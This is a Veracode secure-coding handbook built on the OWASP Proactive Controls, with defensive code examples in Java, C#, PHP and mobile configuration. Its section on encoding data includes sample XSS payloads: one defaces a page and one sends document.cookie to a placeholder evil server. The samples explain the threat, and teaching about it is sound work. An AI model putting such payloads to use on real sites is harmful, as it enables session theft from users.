



Secure Coding Best Practices Handbook

A Developer's Guide to Proactive Controls

SECURITY SKILLS ARE NO LONGER OPTIONAL FOR DEVELOPERS

As cybersecurity risks steadily increase, application security has become an absolute necessity. That means secure coding practices must be part of every developer’s skill set. How you write code, and the steps you take to update and monitor it, have a big impact on your applications, your organization, and your ability to do your job well.

This guide will give you practical tips in using secure coding best practices. It’s based on the OWASP Top 10 Proactive Controls — widely considered the gold standard for application security — but translated into a concise, easy-to-use format. You’ll get a brief overview of each control, along with coding examples, actionable advice, and further resources to help you create secure software.

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Verify for Security Early and Often

It used to be standard practice for the security team to do security testing near the end of a project and then hand the results over to developers for remediation. But tackling a laundry list of fixes just before the application is scheduled to go to production isn't acceptable anymore. It also increases the risk of a breach. You need the tools and processes for manual and automated testing during coding.

SECURITY TIPS

- Consider data protections from the beginning. Include security up front when agreeing upon the definition of “done” for a project.
- Consider the OWASP Application Security Verification Standard as a guide to define security requirements and generate test cases.
- Scrum with the security team to ensure testing methods fix any defects.
- Build proactive controls into stubs and drivers.
- Integrate security testing in continuous integration to create fast, automated feedback loops.

BONUS PRO TIP

Add a security champion to each development team.

A security champion is a developer with an interest in security who helps amplify the security message at the team level. Security champions don't need to be security pros; they just need to act as the security conscience of the team, keeping their eyes and ears open for potential issues. Once the team is aware of these issues, it can then either fix the issues in development or call in your organization's security experts to provide guidance.

[Learn more](#)



All the OWASP
Top 10 Risks

SOLUTIONS

- Veracode Application Security Platform
- Veracode Static Analysis

RESOURCES

- OWASP Application Security Verification Standard Project
- OWASP Testing Guide
- Veracode Security Champions Infosheet

Parameterize Queries

SQL injection is one of the most dangerous application risks, partly because attackers can use open source attack tools to exploit these common vulnerabilities. You can control this risk using query parameterization. This type of query specifies placeholders for parameters, so the database will always treat them as data, rather than part of a SQL command. You can use prepared statements, and a growing number of frameworks, including Rails, Django, and Node.js, use object relational mappers to abstract communication with a database.

SECURITY TIPS

- Parameterize the queries by binding the variables.
- Be cautious about allowing user input into object queries (OQL/HQL) or other advanced queries supported by the framework.
- Defend against SQL injection using proper database management system configuration.

EXAMPLES | Query parameterization

Example of query parameterization in Java

```
String newName = request.getParameter("newName");
int id = Integer.parseInt(request.getParameter("id"));
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setInt(2, id);
```

Example of query parameterization in C#.NET

```
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";
SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;
```

RISKS ADDRESSED



SOLUTION

→ Veracode Static Analysis

RESOURCES

- Veracode SQL Injection Knowledge Base
- Veracode SQL Injection Cheat Sheet
- OWASP Query Parameterization Cheat Sheet

Encode Data

Encoding translates potentially dangerous special characters into an equivalent form that renders the threat ineffective. This technique is applicable for a variety of platforms and injection methods, including UNIX command encoding, Windows command encoding, and cross-site scripting (XSS). Encoding addresses the three main classes of XSS: persistent, reflected, and DOM-based.

SECURITY TIPS

- Treat all data as untrusted, including dynamic content consisting of a mix of static, developer-built HTML/JavaScript, and data that was originally populated with user input.
- Develop or use relevant encoding tools to address the spectrum of attack methods, including injection attacks.
- Use output encoding, such as JavaScript hex encoding and HTML entity encoding.
- Monitor how dynamic webpage development occurs, and consider how JavaScript and HTML populate user input, along with the risks of untrusted sources.

EXAMPLES | Cross-site scripting

Example XSS site defacement

```
<script>document.body.innerHTML("Jim was here");</script>
```

Example XSS session theft

```
<script>  
var img = new Image();  
img.src="http://<some evil server>.com?" + document.cookie;  
</script>
```



SQL injection



Cross-site
scripting



Client-side
injection

SOLUTIONS

- ➔ Veracode Dynamic Analysis
- ➔ Veracode Static Analysis

RESOURCES

- ➔ Veracode Cross-Site Scripting (XSS) Tutorial
- ➔ Veracode Cross-Site Scripting Cheat Sheet
- ➔ Veracode SQL Injection Cheat Sheet
- ➔ OWASP XSS Filter Evasion Cheat Sheet
- ➔ OWASP DOM Based XSS Prevention Cheat Sheet

Validate All Inputs

It's vitally important to ensure that all data is syntactically and semantically valid as it arrives and enters a system. As you approach the task, assume that all data and variables can't be trusted, and provide security controls regardless of the source of that data. Valid syntax means that the data is in the form that's expected — including the correct number of characters or digits. Semantic validity means that the data has actual meaning and is valid for the interaction or transaction. Allowlisting is the recommended validation method.

SECURITY TIPS

- Assume that all incoming data is untrusted.
- Develop allowlists for checking syntax. For example, regular expressions are a great way to implement allowlist validation, as they offer a way to check whether data matches a specific pattern.
- Input validation must take place on the server side. This extends across multiple components, including HTTP headers, cookies, GET and POST parameters (including hidden fields), and file uploads. It also encompasses user devices and back-end web services.
- Use client-side controls only as a convenience.

EXAMPLE | Validating email

PHP technique to validate an email user and sanitize illegitimate characters

```
<?php
$sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) {
    echo "This sanitized email address is considered valid.\n";
}
```



SOLUTION

→ Veracode Static Analysis

RESOURCE

→ OWASP Input Validation Cheat Sheet

Implement Identity and Authentication Controls

You can avoid security breaches by confirming user identity up front and building strong authentication controls into code and systems. These controls must extend beyond a basic username and password. You'll want to include both session management and identity management controls to provide the highest level of protection.

SECURITY TIPS

- Use strong authentication methods, including multi-factor authentication, such as FIDO or dedicated apps.
- Consider biometric authentication methods, such as fingerprint, facial recognition, and voice recognition, to verify the identity of users.
- Implement secure password storage.
- Implement a secure password recovery mechanism to help users gain access to their account if they forget their password.
- Establish timeout and inactivity periods for every session.
- Use re-authentication for sensitive or highly secure features.
- Use monitoring and analytics to spot suspicious IP addresses and machine IDs.

EXAMPLE | Password hashing

in PHP using `password_hash()` function (available since 5.5.0) which defaults to using the `bcrypt` algorithm. The example uses a work factor of 15.

```
<?php
$cost = 15;
$password_hash = password_hash("secret_password", PASSWORD_DEFAULT, ["cost" => $cost]);
?>
```



Broken authentication
and session management

SOLUTION

→ Veracode Dynamic Analysis

RESOURCES

- OWASP Authentication Cheat Sheet
- OWASP Password Storage Cheat Sheet
- OWASP Session Management Cheat Sheet
- Veracode Credentials Management Knowledge Base

Implement Access Controls

You can dramatically improve protection and resiliency in your applications by building authorization or access controls into your applications in the initial stages of application development. Note that authorization is not the same as authentication. According to OWASP, authorization is the “process where requests to access a particular feature or resource should be granted or denied.” When appropriate, authorization should include a multi-tenancy and horizontal (data specific) access control.

SECURITY TIPS

- Use a security-centric design, where access is verified first. Consider using a filter or other automated mechanism to ensure that all requests go through an access control check.
- Consider denying all access for features that haven’t been configured for access control.
- Code to the principle of least privilege. Allocate the minimum privilege and time span required to perform an action for each user or system component.
- Separate access control policy and application code, whenever possible.
- Consider checking if the user has access to a feature in code, as opposed to checking the user's role.
- Adopt a framework that supports server-side trusted data for driving access control. Key elements of the framework include user identity and log-in state, user entitlements, overall access control policy, the feature and data requested, along with time and geolocation.

RISKS ADDRESSED



Insecure direct
object references



Missing function-level
access control

RESOURCES

- ➔ [Veracode Guide to Spoofing Attacks](#)
- ➔ [Veracode Broken Access Controls Cheat Sheet](#)
- ➔ [OWASP Access Control Cheat Sheet](#)
- ➔ [OWASP Testing Guide for Authorization](#)

EXAMPLES | Coding to the activity

Consider checking if the user has access to a feature in code, as opposed to checking what role the user is in code. Below is an example of hard-coding role check.

```
if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {  
    deleteAccount();  
}
```

Consider using the following string.

```
if (user.isRole('Admin') and user.hasAccess('DELETE_ACCOUNT')) {  
    deleteAccount();  
}
```

Improve protection and resiliency in your applications by building authorization or access controls during the initial stages of application development.

Protect Data

Organizations have a duty to protect sensitive data within applications. To that end, you must encrypt critical data while it's at rest and in transit. This includes financial transactions, web data, browser data, and information residing in mobile apps. Regulations like the EU General Data Protection Regulation make data protection a serious compliance issue.

SECURITY TIPS

- Don't be tempted to implement your own homegrown libraries. Most modern languages have implemented crypto-libraries and modules, but in the event your language did not, consult your security team to find a security-focused, peer-reviewed, and well-maintained library.
- Don't neglect the more difficult aspects of applied crypto, such as key management, overall cryptographic architecture design, tiering, and trust issues in complex software. Existing crypto hardware, such as a Hardware Security Module (HSM) solutions, can make your job easier.
- Avoid using an inadequate key, or storing the key along with the encrypted data.
- Don't make confidential or sensitive data accessible in memory, or allow it to be written into temporary storage locations or log files that an attacker can view.
- Use transport layer security (TLS) to encrypt data in transit.



Sensitive data
exposure

SOLUTIONS

- Veracode Developer Training
- Veracode Security Labs

RESOURCES

- Java Crypto Catchup
- Cryptographically Secure Pseudo-Random Number Generators
- OWASP Cryptographic Storage Cheat Sheet
- OWASP Password Storage Cheat Sheet
- Veracode Insecure Crypto Cheat Sheet

EXAMPLE | Cryptographically secure pseudo-random number generators

The security of basic cryptographic elements largely depends on the underlying random number generator (RNG). An RNG that is suitable for cryptographic usage is called a cryptographically secure pseudo-random number generator (CSPRNG). Don't use `Math.random`. It generates random values deterministically, and its output is considered vastly insecure.

In Java, this is the most secure way to create a randomizer object on Windows:

```
SecureRandom secRan = SecureRandom.getInstance("Windows-PRNG");  
byte[] b = new byte[NO_OF_RANDOM_BYTES];  
secRan.nextBytes(b);
```

On Unix-like systems, use this example:

```
SecureRandom secRan = new SecureRandom();  
byte[] ranBytes = new byte[20];  
secRan.nextBytes(ranBytes);
```

Coding secure crypto can be difficult due to the number of parameters that you need to configure. Even a tiny misconfiguration will leave an entire crypto-system open to attacks.

Implement Logging and Intrusion Detection

Logging should be used for more than just debugging and troubleshooting. Logging and tracking security events and metrics helps to enable what's known as attack-driven defense, which considers the scenarios for real-world attacks against your system. For example, if a server-side validation catches a change to a non-editable, throw an alert or take some other action to protect your system. Focus on four key areas: application monitoring; business analytics and insight; activity auditing and compliance monitoring; and system intrusion detection and forensics.

SECURITY TIPS

- Use an extensible logging framework like SLF4J with Logback, or Apache Log4j2, to ensure that all log entries are consistent.
- Keep various audit and transaction logs separate for both security and auditing purposes.
- Always log the timestamp and identifying information, like source IP and user ID.
- Don't log opt-out data, session IDs, or hash value of passwords, or sensitive or private data including credit card or Social Security numbers.
- Perform encoding on untrusted data before logging it to protect from log injection, also referred to as log forging.
- Log at an optimal level. Too much or too little logging heightens risk.



All the OWASP
Top 10 Risks

RESOURCES

➔ [OWASP Logging Cheat Sheet](#)

EXAMPLES | Disabling mobile app logging in production

In mobile applications, developers use logging functionality for debugging, which may lead to sensitive information leakage. These console logs are not only accessible using the Xcode IDE (in iOS platform) or Logcat (in Android platform), but by any third-party application installed on the same device. For this reason, disable logging functionality in production release.

Android

Use the Android ProGuard tool to remove logging calls by adding the following option in the proguard-project.txt configuration file:

```
-assumenosideeffects class android.util.Log
{
    public static boolean isLoggable(java.lang.String, int);
    public static int v(...);
    public static int i(...);
    public static int w(...);
    public static int d(...);
    public static int e(...);
}
```

iOS

Use the preprocessor to remove any logging statements:

```
#ifndef DEBUG
#define NSLog(...)
#endif
```

Logging and tracking security events and metrics enables attack-driven defense, which considers the scenarios for real-world attacks against your system.

Leverage Security Frameworks and Libraries

You can waste a lot of time — and unintentionally create security flaws — by developing security controls from scratch for every web application you're working on. To avoid that, take advantage of established security frameworks and, when necessary, respected third-party libraries that provide tested and proven security controls.

SECURITY TIPS

- Use existing secure framework features rather than using new tools, such as third-party libraries.
- Because some frameworks have security flaws, build in additional controls or security protections as needed.
- Use web application security frameworks, including Spring Security, Apache Shiro, Django Security, and Flask security.
- Regularly check for security flaws, and keep frameworks and libraries up to date.

BONUS PRO TIP

The crucial thing to keep in mind about vulnerable open source libraries is that it's not just important to know when a library contains a flaw, but whether that library is used in such a way that the flaw is easily exploitable. Data compiled from customer use of our Software Composition Analysis solution shows that at least nine times out of 10, developers aren't necessarily using a vulnerable library in a vulnerable way.

By understanding not just the status of the library but whether or not a vulnerable method is being called, organizations can pinpoint their risk and prioritize fixes based on the riskiest uses of libraries.

[Learn more](#)

RISKS ADDRESSED



All common web
application vulnerabilities

SOLUTION

→ Veracode Software Composition Analysis

RESOURCES

- Addressing Your Open Source Risk
- How to Stop Copying and Pasting Flaws Using Open Source Code
- Veracode State of Software Security: Open Source Edition
- Top 50 Open Source Libraries by Language

Monitor Error and Exception Handling

Error and exception handling isn't exciting, but like input validation, it is a crucial element of defensive coding. Mistakes in error and exception handling can cause leakage of information to attackers, who can use it to better understand your platform or design. Even small mistakes in error handling have been found to cause catastrophic failures in distributed systems.

SECURITY TIPS

- Conduct careful code reviews and use negative testing, including exploratory testing and pen testing, fuzzing, and fault injection, to identify problems in error handling.
- Manage exceptions in a centralized manner to avoid duplicated try/catch blocks in the code. In addition, verify that all unexpected behaviors are correctly handled inside the application.
- Confirm that error messages sent to users aren't susceptible to critical data leaks, and that exceptions are logged in a way that delivers enough information for QA, forensics, or incident response teams to understand the problem.

EXAMPLE | Information leakage

Returning a stack trace or other internal error details can tell an attacker too much about your environment. Returning different errors in different situations (for example, "invalid user" vs. "invalid password" on authentication errors) can also help attackers find their way in.

RISKS ADDRESSED



All the OWASP
Top 10 Risks

SOLUTION

→ Veracode Manual Penetration Testing

RESOURCE

→ OWASP Code Review Guide: Error Handling

→ Veracode Improper Error Handling Cheat Sheet

Additional Resources



VISIT

- Veracode Application Security Knowledge Base
- OWASP Cheat Sheet Series



READ

- The Tangled Web: A Guide to Securing Modern Web Applications, by Michal Zalewski
- Secure Java: For Web Application Development, by Abhay Bhargav and B. V. Kumar

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ABOUT VERACODE

Veracode is the leading AppSec partner for creating secure software, reducing the risk of security breach and increasing security and development teams' productivity. As a result, companies using Veracode can move their business, and the world, forward. With its combination of automation, integrations, process, and speed, Veracode helps companies get accurate and reliable results to focus their efforts on fixing, not just finding, potential vulnerabilities. Veracode serves more than 2,500 customers worldwide across a wide range of industries. The Veracode cloud platform has assessed more than 14 trillion lines of code and helped companies fix more than 46 million security flaws.

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